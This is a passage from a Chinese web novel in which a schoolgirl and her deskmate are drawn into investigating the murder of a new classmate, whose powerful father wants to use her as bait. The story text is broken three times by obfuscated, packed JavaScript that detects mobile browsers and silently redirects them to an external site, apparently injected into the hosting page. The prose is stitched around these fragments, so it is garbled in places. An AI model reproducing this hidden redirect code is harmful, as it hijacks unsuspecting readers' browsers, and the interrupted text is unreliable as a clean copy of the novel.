“……哈?又是你的痴人说梦吗?被季野吓到了?” 我不理他,把面包吃完,委委屈屈地面朝下趴下,不说话了。 “哎,你……你好歹吃了我的东西,能不能给个面子?”他在我身侧道,“到底怎么了?明天就周六了,你怎么一点都没有学生的自觉?笑一个?” 就在这时,坐在同桌前桌的女生回过头来,向同桌搭话道: “你知道吗?季野昨天死在小吃街的后巷里了!” 她的声音有一种兴奋感,就好像谁的死只是茶余饭后的话题——就算这个人是她的前同桌也一样。 同桌: “真的?” 装得真像。 女生受到鼓舞,滔滔不绝道: “当然真的!据说是警察局长亲自上阵督查,季野他爸听说是上面的大人物,这下季野出了事,整个池镇都要抖三抖的。” “季野他爸什么来头?” “嘘。你可别跟别人说哦……我回家问了我爸,上面姓季的那位,就只有……” 他们的声音越说越小,我拍案而起,脸上还挂着泪珠: “说悄悄话不带我!嗝!” ——然后打了个响亮的哭嗝。 “好好好,带你带你。”同桌带着无奈的笑,“就知道哭,爱哭的孩子有糖吃,嗯?” “有糖吃。”我用力往同桌那边挤了挤,对女生道,“你继续说。” “那位,身边有个姓季的秘书,对吧?昨天他来的时候,我爸跟我打过招呼,别跟他走太近,也别交恶,虽然季野他爸这次是生了病来休养的,算是半隐退,但要知道,干这一行的,哪有什么隐退可言……手上的资源是一百个我爸加起来都比不上的。” 她说得神神叨叨的,其实我不太信。 要是手上有好资源,干嘛还来池镇这么个连肯打基都不肯来开店的小地方,还把孩子送来这么个鱼龙混杂的野鸡高中念书? 我耿直地提出了这个疑问,女生一摊手: “那我就不知道了,说不定季野的初恋在这所学校呢?” “还初恋,梦里的初恋吧?首都离这儿十万八千里,他怕不是穿过了虫洞恋上了?” 同桌不知为什么,这个时候特别毒舌。 然而女生看上去好像并不在意,甚至很中意他的这个调调: “你说话可真有意思。” 唉,世上的女生大多被同桌英俊的外表所蒙蔽,然而只有我看透了他浸着毒液的内心。 这个人看上去随和好说话,还挺有幽默感,但实际上跟我是同类——他也是个疯子。 周末住校生放假,从周五下课后就可以回家了。 我跟同桌先是分别收拾了行李,又在校门外不远处汇合,往家里走去。 偷感很重。 自从他小时候父母出事之后,就一直住在我家,虽然对我爸妈的称呼还是伯父伯母,但我爸妈已经把他当亲儿子看待了。 每次有好处都先紧着他,显得我才是捡的。 刚一打开门,厨房里传出的香味就钻进了鼻子,我兴奋道: “油淋鸡!” 同桌默默地跟在我身后,把我甩在沙发上的书包拿去房间,又挽起袖子进厨房帮忙。 “别客气别客气,你去陪灵灵玩,饭马上就好了。”妈妈用胳膊把同桌往外怼,“顺便打个电话问你伯父什么时候回来。” 同桌又走向电话。 我莫名觉得他一旦回到家,就跟变了个人似的,不但拘谨了很多,话也少了,简直是个十项全能的家务机器人。 虽然我爸妈都不让他做家务。 我坐在沙发上,端着两盒黑白棋: “打完电话来陪我下围棋!” 同桌站在电话机旁,举着听筒道: “伯母问您什么时候回家。嗯,好,我明白了。路上小心。” 我一脸嫌弃: “噫,好儿子让你给演了,显得我多没心没肺一样。” 他放下听筒,向我笑了一下。 这个笑容没有先前那么紧绷了。 他自然地走到我对面坐下,接过黑棋篓,慢条斯理道: “你负责没心没肺就好了。” 我在桌子下面踢了他一脚,他好像知道我要这么做一样,收回脚害我踢了个空。 我做了个鬼脸: “白子先行!” “让你让你。” 我们像模像样地厮杀了几十步,最后以我掀棋盘告终。 我用自己的白子在棋盘上拼了个“丑”字,自觉没劲。 “围棋没意思,我们来玩五子棋吧!” “飞行棋你也没赢过我,屡败屡战也没让你长点教训吗?” 同桌靠在沙发上伸了个懒腰,这个懒腰把他的声音抻长了,像个得意洋洋的老猫。 “胡说!飞行棋你从来没赢过我!大富翁也是!上帝给了你一栋四面通风的豪宅,但给你堵上了幸运的天花板!” 正在我俩吵吵闹闹时,爸爸回来了。 同桌站起身来,去厨房帮忙端菜,我想了想自己不能显得无所事事,于是站在桌旁,把同桌端来的菜摆上桌。 同桌在我身旁轻笑一声: “贤惠。” “那是!” 饭桌上大家随意地闲聊,爸爸几次问到我的成绩,都被我和同桌齐心协力地糊弄过去了。 爸爸大约也看出来了我俩的小把戏: “周末我给你报了补习班,补数学和英语,下周开始,记得去上。” 我被晴天霹雳劈中,不可置信道: “你是我亲爸?” “别耍嘴皮子,你的成绩要是能有昭昭一半好,我就能省一笔补习费了。”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14672066|156798||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 别人家的孩子,这可真是惨案现场。 也许真的是基因不对,我跟同桌从小到大都上的一样的学校,但我俩就好像一对天差地别的对照组,我惨不忍睹,堪堪吊着中等偏下的尾巴,没落到差生堆里去,而他踩着我的脑袋四平八稳,从没掉出过班级前十。 这样的反差给我招来了多少耳提面命、谆谆教诲,甚至有一段时间,我对同桌的名字产生了生理性厌恶,一听别人提起就烦——当然自己叫也烦。 于是从那以后,同桌的真名我再也没有叫过,取而代之的是胖虎这样一个家喻户晓的昵称。 当初初升高的时候,他明明可以靠着一骑绝尘的成绩飞出池镇,去县里读书,能上比池镇高中好一万倍的高中,那所高中的本科率接近百分百,池镇高中只是它的零头。 可他偏偏跟我读了同一所野鸡高中。 吃完饭,我怀着沉重的心情,回到自己卧室,开始了疯狂的游戏时间。 同桌从门口把脑袋探进来: “出去玩吗?” 我哼了一声: “我爸让你拯救网瘾少女来了呗?” “一半一半吧。你跟我来,有话跟你说。关于季野的。” 我一下子丢开手柄: “走!” 跟同桌两个人溜达到附近一个没人的公园,找了个秋千落座。 这个秋千还是个特等席,我小时候坐在上面荡高高的时候,能越过面前低矮的围墙,看到对面的湖泊。 现在长大之后不仅性格,连体重也变得成熟稳重起来的我,当然不可能再荡那么高了——就算我冒着生命危险荡高高,对面也再没有了湖泊,取而代之的是一栋栋新建的居民楼。 唯一不变的是那排格格不入的低矮围墙,好像被历史遗弃在了那里,十几年都没变过。 同桌跟我一人占了一个秋千,开口道: “昨天录口供结束的时候,我见到季野的父亲了。” “这么快?”我惊讶,“我记得我的时间是一个小时,我们报警的时间本来就是在深夜,算上确认身份、通知亲属、做出门准备还有赶路的时间,他能在你结束之前赶到警局?” “我在你后面一点,两个小时结束,刚出警局就撞见他了。他问了我一些事情,让我有点在意。” “什么事?” “他第一个问题不是季野是怎么死的,也不是看见凶手了吗,而是——有没有碰过季野的尸体。” “诶?” 我侧过头去看他,隔着秋千的链条,他一脸心事重重: “我当然没有,以防万一确认一下,你也没有吧?” 我舔了舔开始发干的嘴唇: “我……也许有。进小巷的时候,我跟他撞上了。那时候他还活着,然后就倒在我脚边,血流了一地……” “……害怕吗。” 我嘴硬道: “不怕。游戏里都见过多少大场面了,不过是换到现实世界里,就当看了一场VR了。” 虽然死的是认识的人,但他转学过来才第一天,要硬说悲伤,我也装不出来,顶多是遗憾,因为他真的长得挺好看的。 “……”同桌伸出手,隔着秋千揉了揉我的头发,“季野他爸邀请我们去一趟他家问问情况。下午跟我一起去。” “诶——可是我想在家打游戏。” “我请你吃饭。” “走!” 5. 祖宗 季野家在哪,原本我们是不知道的。 但昨天季野他爸给了同桌一张名片,我们打了个电话过去,按照他给出的地址,找到了一处小区。 越接近季野家,我就越忐忑。 季野的死是我提前数十秒预见过的,然而还是没能阻止他,不,应该说,自从我亲眼目睹同桌父母之死后,一旦我发现谁即将非正常死亡,就总想着帮上一帮,结果显而易见,命运一次也没眷顾过我,也许它跟死神是好朋友,谁知道呢。 季野家住在一栋公寓楼的顶层,我们顺着电梯上去,走出电梯门的瞬间踏上了软软的浅色地毯。 抬头一看,走廊上装饰着水晶壁灯,此时在良好的光线照耀下,折射出莹莹的光。 我从没来过这么高档的地方,也从没听说过池镇有这么高档的地方,非常土包子地往电梯里缩了缩。 “走了。” 同桌拉着我的胳膊,把我从电梯里拎了出来。 他走在前面,我就跟畏手畏脚的刘姥姥一样走在后面,生怕自己踩脏了地毯,或者碰碎了灯,刚刚一路都在担心的问题都被新的烦恼覆盖掉了。 按了门铃,来开门的是佣人,对方亲切地给我们找出拖鞋,问明来意后,引着我们上了二楼——没错,他家的公寓是打通了两层的,而顶楼的二楼就是天台,被改建成了玻璃花园,刚踏上去时就灌了一耳朵鸟鸣声。 季野他爸西装革履、格格不入地坐在温室花园的拱形玻璃边,侧头看向窗外。 佣人告退,我揪着同桌的衣角,向对方靠近。 他注意到了我们的到来,站起身迎接: “坐。” 常年处于上位的习惯让他对两个高中生用不出“请”字来,但看在儿子之死的事情面前二人是知情人的份上,他还是十分客气地站了起来——这就是他的言行矛盾的原因吧。 同桌坐下后开门见山道: “季野爸爸您好。您曾经问过我有没有接触过季野——的尸体。但其实昨天是胡灵灵先发现的季野,那时候他出现在湖巷路,胡灵灵看到他进了小巷,一时好奇跟过去,才撞见了他死亡的一幕。” 同桌大概也不知道要怎么安慰送了黑发人的白发人,所以只能陈述事实。 季野的爸爸其实并不像我想象中的那种脑满肠肥的上位者,甚至可以说是相貌端正、风华正茂。 像是季野以后会变成的样子。 他理应跟我爸一样四十岁出头,看上去却只有三十岁,黑发浓密,一身儒雅的气质,随便包装包装拉出去说是年轻有为的教授都有人信。所以严格意义上来说,他还算不上“白发人”。 此时“教授”听了同桌的话,抬手捏了捏眉心,看向我:“麻烦你说一说当时的情况吧。” 我想,也许在警察局录的口供还没办法公开,他这样级别的人物更不能在程序中横插一脚,所以才来直接问我, 于是我把当天录口供说的话再复述了一遍。 他听完之后问道: “你撞到他的时候,他就已经死亡了吗?” 我仔细回忆了一下: “我也拿不准,因为他是头部中弹,好像是从小巷往外跑的时候被射中的,正好跟我撞上之后就立刻仰面倒地,我估计那时候就已经被枪击中了。” 季野他爸道: “你听到枪声了?” 我愣了一下,肯定道: “没有。在那样的地方响起枪声一定会引起骚乱的。” “那你是如何判断他是被枪击致死?他是仰面倒地,又是跟你正面撞上,为什么不会认为是棍棒敲击?没有枪声,这样的推断才比较自然吧。” 我没办法跟他解释预知的事情,只能含糊道: “消音手枪不是也有吗……而且棍棒击打不会有那么大的出血量。” “我明白了。也许当时你在现场,见到的信息量足以让你做出这样的判断吧。” 季野爸爸没有再追问,而是做出让步,提出了另外一个话题: “实际上,我希望你能留在我家观察一段时间。” 同桌立刻道: “观察什么?” “是否会成为下一个受害者。” 我缓缓眨了一下眼,心脏忽然间雀跃了一下。 就像是某种死亡讯号被触发时,肾上腺素急速飙升的颤栗。 没有丝毫的适应不良,我迅速把自己代入了“受害者”的危险角色: “你有办法判断我是否被盯上吗?你能知道是谁要对我不利吗?你——” 我话刚说到一半,就被同桌捂住嘴巴。 他的手捂得很紧,不给我任何发挥的机会,客气地代我拒绝: “不好意思,灵灵明天开始每天放学都要去补习,没有时间。您知道的,高中生的课业很繁忙,而且,这种说法太荒谬了,她只是不巧撞上了现场而已,连凶手的脸都没看到。” 我一脸懵逼。 我只知道周末要去补习,怎么连工作日也被他悄没声儿地安排了? 突然被从非日常扯回日常,好像我还是那个每天苦哈哈为了几个配不平的公式、背不出的诗词、无休无止的abandon,把自己拘在方寸教室的、芸芸众高中生的一员,而不是半只脚踏入了灵异世界,疑似被隐在暗处的邪恶势力盯上的天命之人。 超级英雄也要写暑假作业,是这个意思吗? “您想问的,恐怕已经问完了,我们还要赶回家吃晚饭,就不打扰您了。” 同桌说着场面话,按着我的脑袋,向季野爸爸鞠了一躬,拉着我的手腕转身就走。 我一步三回头。 季野爸爸没有要挽留我们的意思,依旧定定地坐在藤椅上,淡然开口: “黑礁滩的那具尸体是被一把刀捅死的。那把刀被发现在你们高中的墙外,上头有你们两个的指纹。” 同桌的脚步顿住了。 季野爸爸: “你把胡灵灵同学的指纹擦掉了,但是没有完全擦干净,又在上面覆盖了自己的指纹。在法律上,这会被定义为包庇罪。而胡灵灵会被认定为重要嫌疑人。虽然那天晚上你搪塞了警察的盘问,但这不代表这件事就能这么揭过。” 我有些慌。 我只是个普通高中生,懂法,但不多。 我侧过头去,看到同桌狠狠闭了闭眼,凌厉的侧脸罕见地有些骇人。 他转过身,把我往楼下推了推: “自己去玩一会儿。” 我知道他是想支开我,但是被盯上的是我又不是他,他凭什么代表我? 我的好奇心让我把他扒拉开: “你们要谈什么,当着我的面谈。” 同桌有些恼地拎起我后领,把我往后捎了捎,语气不容置疑: “乖。” “让她留下吧,她也算是当事人。” 季野爸爸发话了。 同桌不动声色地咬了下唇,嘴唇泛白。 我知道这是他紧张时候的小动作。 已经快三年没见着了。 上一次还是初升高那会儿。 就在中考前几天,我感染了甲流,为了不传染给同学,是在家复习的。 他怕我落下进度,天天放学还来给我补课。 惭愧的是,我就是个猪脑子,又顶着高烧,脑浆都是沸腾的,压根学不进去。 不往外倒就不错了。 他一边恼恨地骂我笨蛋,一边给我划重点,押题,叫我多少学点儿,不然以后出去别说是他教的我,他丢不起这个人。 我趴在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14672067|156798||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 桌上迷迷糊糊说,那以后出去就说是我家猫教的我,它背着我偷偷读完高中课程了。 被他赏了一个脑瓜崩。 那几天,我白天睡得昏天黑地,晚上撑着脖子上那个沉甸甸的装饰物听他讲题,过得痛不欲生。 我对考上好高中没什么期望,倒是他,一头热地想把我揠苗助长到县里那所重点高中。 也不看看我平时什么成绩。 一开始他还戴着口罩,后来干脆把口罩摘了,说讲那么多题又闷又热,还常常被我气到,再戴口罩得活活被憋死。 我脑子烧得昏昏沉沉的,听他讲题一半时间在梦游,一半时间在看他开开合合的嘴唇。 一门心思地想,他声音怎么这么好听。 嘴唇形状也好看。 要是不骂我就更好了。 他讲了半天看我没反应,又像是要昏睡过去的样子,忽然叹了口气,放柔了语气,用试卷筒在我发顶上拍一拍: “不想跟我一起去县里的高中吗?” 我被他敲得清醒了一分,也不管他说的是什么,随手端了旁边的杯子殷勤递给他,哑着肿胀的嗓子说: “喝口水,消消气。你嘴唇都起皮了。” 他气笑了,接过水杯喝了一口,神色忽然古怪起来: “这是你的水杯。” 我迟钝地反应过来,啊了一声。 他已经喝光了。 等把水杯放回去,他忽然用双手捧住我的脸。 我还有些发烧,一脸懵地被他掌心托住脸颊,他说: “胡灵灵,你是不是觉得我很可笑,想靠临时抱佛脚,把你带到重点高中的分数线?” 我抿唇不说话。 有些事情,我就是不擅长,不是光靠努力就可以赶上平均水准的。 我的语文单科成绩常年霸占年级第一,作文拿了很多青少年比赛的奖项,科幻主题的征文还登上过杂志。 除此之外的科目,都一塌糊涂。 我抱着试卷哭得一把鼻涕一把眼泪的模样,他也不是没见过。 如果科目是木板,加起来围成一个水桶,那我的科目水桶一定会呈现出竖中指的造型。 异军突起的那个中指是语文。 同桌曾经尝试过“拯救”我,我也曾经积极地头悬梁、锥刺股,拿圆规扎自己大腿的时候,一点儿没心软。 率先心软的是他。 后来我所有的圆规都被他磨钝了,他说他对锐角过敏,晕针。 再后来,他就不逼我了,无伤大雅的小考试可以借我抄抄试卷,蒙混过关,省得给家里老爷子气出心脏病来。 重要考试他就直接把我放生,一点情面不讲。 但是临近中考,他又开始急了。 县里的高中已经有老师来找他约谈,会提供奖学金给他。 但显而易见,如果他选择了去县里读书,就必定会跟我这个吊车尾天各一方,千里之外。 用他的话来说,不把我放在眼皮子底下,还不知道我要背着他作多少妖。 此时此刻,他捧着我的脸,掌心比我的脸颊还要烫,有些用力,我的嘴唇都被他挤得噘了起来。 我都忘了他之前还说了什么,只觉得他的脸贴得很近。 眼睛幽暗得像是会吸光。 我艰难开口: “你撒手,当心甲流传染给你。” 他眼里的光一点一点回转,双掌变托为捏,把我的腮肉恶狠狠地左右拉伸: “你怎么油盐不进呢,祖宗?” 我被他扯得口水都差点流出来: “我唔是祖宗……” 他用指腹擦去我唇边口水,嫌弃地用纸巾擦了擦,盯着我看了半晌,忽然如释重负地垮了肩膀: “算了。” 6. 隔音 那天之后,他就再也没有给我补过习。 我还有些恐慌,怕他对我失望,彻底放弃我了。 虽然我笨笨的,但我真的已经努力了。 之前不是我故意不学习,我都烧到三十九度了,在高温之下还能工作的不叫人类,叫蒸汽机。 做蒸汽机都比做人类好,起码蒸汽机过载之后可以罢工,人类过载之后,只会被同桌这个大魔王逼着画辅助线。 中考前一天,我的甲流要走未走的样子。 尽管知道自己就算踩着风火轮也追不上他的成绩,但那天我还是很安分地贴着退烧贴,在自己房间里刷题。 不管结果怎样,态度要端正 也算是给我的初中三年画上一个圆满的句号。 他来给我送牛奶的时候,看到的就是我安安静静刷题的样子。 我心虚得不敢看他,忽然感觉到他的气息出现在我肩侧,阴恻恻道: “晚上睡觉最好留个眼睛站岗。” “啊?为什么?” “柯西要是知道你这么用他的不等式,肯定要来找你谈心。” 这下听出来他是在嘲我了。 我瘪了瘪嘴,不说话了。 本来心情就不好,还嘲我。 晾他五分钟。 他把牛奶放到我左手边,拉了个椅子坐在我旁边。 这个椅子是他之前辅导我时的专用“教师椅”,我像个巴甫洛夫的狗一样,条件反射地夹紧了尾巴。 “烧退了吗?” “退得差不多了。贴退烧贴是因为舒服。” 我答完才意识到,还没到五分钟。 他意味不明地哦了一声,忽然说: “过来。” 我莫名其妙看了他一眼。 我俩离得够近了,膝盖都挨到一起了,还要我怎么过去? 他的手肘闲闲搭在桌沿上,身体前倾,一只手掐着我的下巴,摆成额头贴额头的姿势。 我瞪大眼睛看他,离得太近,快变成斗鸡眼了。 额头上还贴着退烧贴,我挣扎着要往后退: “你干什么,别传给你。” 他这么个好苗子,被我耽搁了中考就不值当了。 他闷笑一声: “有点晚。” 愣了三秒才意识到,他的嗓子很哑。 我隔着退烧贴感受不到,索性上手去摸他额头,不自觉眯起眼,喟叹: “好暖和。” 虽然不太礼貌,但确实熨得我掌心很舒服。 我发着烧,手脚却很凉,一直在出冷汗,他的额头像是暖水袋一样,暖暖的。 他看着我,眼神沉静: “灵灵,我也发烧了。明天要是发挥不好怎么办。” 我默了默: “那,那能怎么办嘛。” 我也不能给他变出个特效药来啊。 他突然这么问我,我也很慌,更何况他的甲流有可能是我传染的,他明天万一发挥不好,我的罪孽又深一层。 都能想象到县里重点高中的老师隔空骂我的样子了。 他们肯定觉得我这个吊车尾自己不学好,还带坏好学生,真是罪大恶极,是破坏未来国家栋梁的蛀虫。 我绞尽脑汁: “要不,我多给你准备几份退烧贴,你忍一忍,轻伤不下火线,先把中考考了?” 这也是老师常劝我们的话。 他忽然低下头,把额头抵在我颈窝,没什么重量,只是轻轻地贴着。 我听到他说: “要是没考好,我跟你一起去读池镇高中怎么样。” 我脊背一凉,觉得这个发言很逆天: “不怎么样。” 就算我成绩不好,也知道一个道理,人往高处走,水往低处流。 他怎么能自甘堕落呢? 看我满脸不高兴的样子,他下意识咬紧了下唇。 形状好看的唇瓣被他咬得泛白。 他在紧张。 但他最后还是来了池镇高中。 那个本科率只有县里高中零头的池镇高中,野鸡学校。 时至今日,我依然不理解他当初的选择。 他不是意气用事的人,要说是为了我,我自知没有那么大的脸。 他做每件事都是有目的、有计划的,也不会轻易被感情左右—— 就比如大考的时候,无论我怎样撒泼打滚,都不会帮我作弊。 费解,总之就是非常费解。 如今,时隔三年,我再一次在他脸上看到了咬嘴唇的小动作。 他在面对季野爸爸的时候,表现得很紧张。 对方握着他的把柄,那把刀。 可真比窦娥还冤呐,凶器又不是我的,人也不是我杀的,跟他就更没有关系,现在却要为了小小的指纹,被季野爸爸拿捏。 季野爸爸告诉我: “我会替你向学校请假,接下来一周,我希望你能配合我,找出……杀害我儿子的真凶。” 同桌依然将身体挡在我面前,不咸不淡道: “你凭什么认为她可以帮到你?” “只要对外宣称她看到了凶手的脸,对方自然会再次找上门来。请你们理解一个失去儿子的父亲的心情。” 季野爸爸低头抿了一口茶水,言语间是要把我当成诱饵,并没有把我的安危放在心上。 同桌显然也听懂了这一层意思,表情僵硬道: “不行——” 我怕他跟季野爸爸起冲突,赶紧劝他: “没事,我留下来观察几天,他这么说肯定有解决办法,这个小区看起来安保也挺严格的,总比我家那个破小区要好吧?” 同桌凌厉瞪我一眼: “你是不是不想去上补习班?” “……” 倒也不必这么了解我。 “你有没有想过,如果凶手真的对你下手怎么办?” “哎呀,不会的……我这么机灵,一定没事的。” 我拍拍胸脯保证。 就在我拍胸脯的瞬间,一段话毫无征兆地跳入我的脑海。 “当你还是孩子的时候,参加战争,会有一种幻想。其他人会死,但你不会。然后,当你第一次受重伤,那种错觉就会烟消云散。” 这里是现实,不是小说。 我不是主角,我只是芸芸众生。 这段话来自我书架上的一本课外书,海明威的《丧钟为谁而鸣》。 来我家的亲戚看到了,说我读这种书晦气,要给我撕掉,是同桌给我保了下来—— 他说,这是他给我买的,一本书十八块,先交钱,再撕书。 海明威那段冰冷的话让我毫无征兆打了个寒颤,同桌的脸却又让我镇定下来。 我压住血液中沸腾的跃跃欲试: “放心,如果真的碰见凶手,我会把他捉拿归案的!” 同桌又威逼利诱地劝了我一会儿,见我心已决,臭着张脸不说话了。 总而言之,言而总之,我就这么稀里糊涂地决定在季野家住下了。 季野爸爸让我住在季野隔壁 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14672068|156798||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 房间,我本来想叫同桌回家给我拿换洗衣物,也被季野爸爸拦住了: “同学,胡灵灵同学住在这里的事情,麻烦你不要对任何人说。” 同桌回身,面色不虞: “她的父母有权利知道。” “她住校。” 同桌垂在身侧的双手松了又紧,最终绷着脸,看了我一眼: “你出去,我有话要跟他说。” 他面对季野爸爸,完全没有面对上位者应有的小心和恭敬。 我有些担心,却被他扫地出门。 被赶出去的我顶着保姆异样的目光,撅着屁股趴在门板上,想听听他们在里面商量些什么,但他家门板的材质隔音效果特别好,里面一点声儿都听不到。 跟我家那薄木头门板不一样—— 有一次同桌瞒着我在房间里看片儿,我不用贴着门板都能听到。 他还开外放! 好在我是个体贴的人,知道这个时候进去可能给他吓废,硬是杵在客厅等他完事儿,顺便替他站岗放哨,看爸妈下班回来没有。 边站岗边思考,他看片儿怎么只有男人喘气的声音,没有女人的声音? 这不对劲。 根据班上女生团体的描述,一般女生叫的声音会比男生大,听久了耳朵还会疲劳。 我倒是想找个片子印证一下这个说法,可惜镇上唯一一家网吧的老板是我爸兄弟,我溜进去铁定会被打小报告。 家里那台电脑是我爸的,他设了密码,我登不上去。 只有每天一个小时的打游戏时间,我才有电脑的使用权,而且要由爸爸来开机。 ……等等,那同桌他是拿什么看的片?难道他背着我偷偷藏手机!? 不,不可能。 他课余没有兼职,我一直跟着他,是知道的。 爸爸也不可能有闲钱给他买手机,却不给我买。 在一碗水端平方面,我爸妈做得是相当合格。 不过他用什么看片,这只是个小问题。 说不定是跟曹平祥那个小土豪借的。 我现在关心的真相就只有一个。 他看的片子里只有男人的声音。 这说明了什么? 说明他性向有问题! 不过我转念一想,这个世界上每样东西都有他存在的道理,性向也是。 ——除了盲肠和阑尾。 所以同桌背着我和爸妈看片儿这件事,我悄悄地看破不说破。 ——不对,话题扯远了! 现在我只想知道同桌和季野爸爸在房间里聊什么! 趴在门板上偷听了半天都没结果,我有些泄气,回头看到保姆正在往桌上摆饭菜: “要开饭了吗?” 保姆是个挺和善的阿姨,笑着问我: “是的,你有什么喜欢吃的?我晚上做给你吃。” 我立刻从门边蹦到餐桌边: “我爱吃鸡肉!最喜欢的是油淋鸡和照烧鸡!” “哎哟巧了不是?这两样我都会做。”阿姨笑呵呵,“下午我就去趟超市,给你弄点儿整鸡。” “阿姨!阿姨太谢谢你了!”我激动地窜过去,“在我家每周只能吃一次,我可太想吃了!阿姨我来帮你打下手,盘子我来端我来端!” 我对着阿姨摇头摆尾,已经把同桌和季野爸爸抛到脑后了。 等他们出来,看到的就是我跟在阿姨身后屁颠屁颠地布菜。 “……胡灵灵。” 突然听到背后传来同桌咬牙切齿的声音。 7. 暗恋 我转头看到同桌脸都黑了,忙蹭上去,握着他手臂轻轻晃: “油淋鸡,照烧鸡!胖虎,他家晚上吃油淋鸡和照烧鸡!” “吃死你算了。”同桌说完这句话,脸白了白,忽然捉住我肩膀,郑重道,“接下来一周,你正常上学和补习,晚上,我和你一起住季野家。” “啊?” 我表情呆滞。 本以为即将迎来为期一周的超级大长假,没想到竟然在钓凶手出来的同时,竟然还要兼顾上学! 又没人给我发工资! 我图什么! 他身后,季野爸爸面色如常: “就按他说的办吧。你一直窝在这里,凶手也很难找上门来。” 我立刻看向同桌,控诉道: “怎么连你也把我当靶子!胖虎你变了!你不爱我了!” 同桌狼狈一瞬,立刻甩开我的手: “没爱过,谢谢。” 我不依不饶扑上去: “给我看看,你的心是不是黑的?” 说着就要扒拉他。 “咳。”季野爸爸咳嗽一声,提醒我们还有一个大活人杵在旁边,“你们回家拿一下日常用品和文具课本之类的,今天就搬过来吧。你们父母那边,需要我帮忙说吗?” “不用了。”同桌自从知道季野爸爸的打算之后,对他的态度就急转直下,几乎不用敬语了,“我们自己可以解决。” “那最好。” 在季野家吃完午饭,回家的路上,我尝到保姆的手艺之后,更加惦记晚饭的油淋鸡。 同桌嘲笑我: “你一定是黄鼠狼转世。” 我下意识回嘴: “呸呸呸,你才是黄鼠狼转世!” “嗯,我是大黄鼠狼,你就是小黄鼠狼,我们是一窝的。” 他为了抹黑我竟然不惜把自己也骂了! 我瞪大眼睛不可思议地看着他,只觉得胖虎其人,吵架的水平一日千里。 我快吵不过他了! 这怎么可以! 他可是我的小跟班,除了成绩和身高以外,其他地方怎么可以比我强! 我恶狠狠凶巴巴地威胁道: “胖虎!你再说一句,信不信我把你的秘密公之于众!” 同桌嘴角笑意一凝,唇线抿平,转过脸去不说话了。 是的,同桌有把柄在我手里。 我靠着这个把柄,可以拿捏他一辈子! …… 回到家,下午三点左右,爸妈还在上班。 他们的工作性质比较特殊,没有周末双休的说法。 他去自己房间收拾东西,进门前还转过身看我,那意思是不让我窥探他房间里的东西。 狗东西,自从上了高中,他就不许我进他房间了,我的房间他倒是随便进—— 不过他进来也都是为了辅导我功课,眼睛从来不乱看,有一次我把内裤收回来放床上,忘记收回衣柜了,他也当没看见,连瞥都没瞥一眼。 就这一点我是要夸一夸他有分寸感的。 我钻进自己的房间,拖出床底下的□□熊行李箱,开始往里面塞东西。 带回家打算复习,但不出意外依然会原封不动被带回学校的课本。 《谁动了我的奶酪》、《埃及女王纳芙蒂蒂》、《安娜·卡列尼娜》,都是力量大于知识的砖头书,接下来一周左右都不会发愁没书看了。 三套换洗衣物,我特意把贴身衣服叠好,塞进行李箱的最角落。 还有一包日用一包夜用卫生巾——我的生理期就在下周。 磨磨蹭蹭收拾好这些,同桌已经插兜站在客厅等我了。 他低着头正在数地板上的木纹,听见我拖着行李箱出来,自然地接过箱子把手: “走吧。” 到了季野家,季野爸爸竟然不在家了。 保姆说他医院有事,去处理了,还传达了他的叮嘱,让我今天一天都不要出门,想吃什么让保姆去买。 我可太开心了! 管吃管喝,不用我花钱,想吃什么就吃什么! 这是什么神仙日子! 同桌显然就没有我这样的松弛感,他吃晚饭的时候几乎没怎么动筷子,好像在思考着什么,频频走神,连我跟他讲周五晚上放学的时候班长沈晓丽被隔壁班体育生告白的事情,都无动于衷。 我大惊失色: “胖虎,你吃错药了?” 他眼神凌厉扫向我: “你有病?” 我痛心疾首: “那可是沈晓丽,是班花沈晓丽!” “嗯,我知道。那不是别人评的无聊榜单吗。” 他兴致缺缺,低头扒拉着盘子里的花菜。 我神神秘秘凑近他,看了眼坚持在厨房吃饭的保姆,小声在他耳边道: “你不是暗恋沈晓丽?她被人告白,你怎么这个反应?” 同桌似笑非笑地看着我: “你觉得我应该是什么反应?” “你应该——”我想了想,“像白瑞德发现斯嘉丽嫁人之后那样!” 同桌发出一声很轻的嗤笑,我觉得他一定是在嘲笑我: “笑什么?” 他这个秘密被我发现的时候,还再三叮嘱我不能对任何人说,要不然我也不能拿捏他这么久。 怎么现在反而还嘲笑起我来了? 我真是火大! “我没笑。”同桌敛了笑容,“食不言寝不语,吃你的饭。” 我撇撇嘴: “我还想说那个体育生长得很帅呢,他俩站在一起真的般配。你再不努力,沈晓丽就要被抢走了。” “长得帅?”同桌挑眉看我,眼神很凉,“有多帅?” “有焦恩俊那么帅!” 这是我夸人的最高赞词。 我想给漠不关心的同桌一点压力和危机感。 